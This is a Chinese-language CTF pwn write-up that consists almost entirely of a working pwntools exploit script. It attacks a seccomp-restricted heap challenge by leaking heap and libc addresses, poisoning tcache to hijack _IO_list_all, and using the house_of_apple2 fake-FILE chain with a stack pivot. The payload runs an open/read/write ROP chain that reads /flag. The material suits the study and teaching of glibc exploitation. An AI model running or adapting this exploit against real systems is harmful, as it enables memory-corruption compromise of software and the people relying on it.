禁用了系统调用无法getshell。所以要打ORW。利用house_of_apple2这条链打ORW。

只需要将原来的system替换为magic_gadget(栈迁移的效果)。执行ORW

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('10.213.13.228', 17846)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(index,size,data):
rl(b">>> ")
sl(b'1')
rl(b"please input chunk_idx: ")
sl(str(index))
rl(b"Enter chunk size: ")
sl(str(size))
rl(b"Enter chunk data: ")
s(data)
def show(index):
rl(b">>> ")
sl(b'3')
rl(b"Enter chunk id: ")
sl(str(index))
def delete(index):
rl(b">>> ")
sl(b'2')
rl(b"Enter chunk id: ")
sl(str(index))
def exit():
rl(b">>> ")
sl(b'4')
# gdb.attach(p,'b _IO_wdoallocbuf')
for i in range(8):
add(i,0x10,'a')
for i in range(9):
add(i,0x60,'aa')
for i in range(6):
add(i,0x70,'a')
add(0,0x40,'a')

add(0,0x10,'a')
delete(0)
add(1,0x10,p64(0x30)+p64(1))
show(0)
r(16)
heap_leak = uu64()
lg("heap_leak",heap_leak)
heap_key = (heap_leak >> 12)
lg("heap_key",heap_key)
heap_base = heap_key << 12
lg("heap_base",heap_base)

for i in range(10):
add(i,0x80,'a')

add(8,0x10,'a')
for i in range(8):
delete(i)
for i in range(7):
add(i,0x80,'a')

delete(8)
add(10,0x18,p64(0x20)+p64(0x1)+p64(heap_base+0xc70))
show(8)

libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x21ace0
lg("libc_base",libc_base)

IO_list_all = libc_base + libc.sym['_IO_list_all']
lg("_IO_list_all",IO_list_all)
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
lg("stdout",stdout)
IO_wfile_jumps = libc_base + 0x2170c0
lg("IO_wfile_jumps",IO_wfile_jumps)
setcontext = libc_base+libc.sym['setcontext']
lg("setcontext",setcontext)
ret = 0x0000000000029139 + libc_base
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
pop_rdx_r12 = 0x000000000011f2e7 + libc_base
pop_rbp = 0x000000000002a2e0 + libc_base
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
leave_ret = libc_base + 0x000000000004da83
magic_gadget = libc_base + 0x16a06a
lg("magic_gadget",magic_gadget)
IO_jump_t = libc_base + 0x2170c0
lg("IO_jump_t",IO_jump_t)
IO_list_all = libc_base + libc.sym['_IO_list_all']
lg("IO_list_all",IO_list_all)
add(0,0x70,'a')
for i in range(10):
add(i,0x40,'a')
add(10,0x10,'a')
delete(10)
add(11,0x18,p64(0x30)+p64(1)+p64(heap_base+0x11d0))
for i in range(9):
delete(i)
delete(10)
for i in range(7):
add(i,0x40,'a')
for i in range(7):
add(i,0x80,'a')
for i in range(8):
delete(i)

'''
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
'''

orw1 = b'/flag\x00\x00\x00'
orw1 += p64(pop_rdx_r12) + p64(heap_base+0x1720) + p64(heap_base+0x1520) + p64(pop_rdi) + p64(heap_base+0x1720) + p64(pop_rsi) + p64(0) + p64(open) + p64(pop_rbp) + p64(heap_base+0x1458) + p64(leave_ret)
add(0,0x80,orw1)

fake_file = p64(0)
fake_file += p64(0)*4 + p64(1)
fake_file += p64(0) + p64(leave_ret) + p64(heap_base+0x1520) + p64(heap_base+0x1720) + p64(heap_base+0x1728)
fake_file = fake_file.ljust(0x68,b'\x00')
fake_file += p64(stdout)
fake_file = fake_file.ljust(0x80,b'\x00')
fake_file = bytes(fake_file)

fake_wide2 = p64(0)*6 + p64(heap_base+0x1640) + p64(magic_gadget)

add(1,0x80,fake_wide2)
add(2,0x80,p64(0)*5+p64(IO_jump_t)+p64(0)*10)
add(3,0x80,fake_file)

add(4,0x40,p64(IO_list_all^((heap_base+0x1100) >> 12)))
add(5,0x40,'a')
add(6,0x40,'a')
add(7,0x40,p64(heap_base+0x1510))

orw2 = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x1000) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
orw2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0x1000) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write)

add(8,0x80,orw2)
exit()

inter()

注意堆风水,控制好程序流程。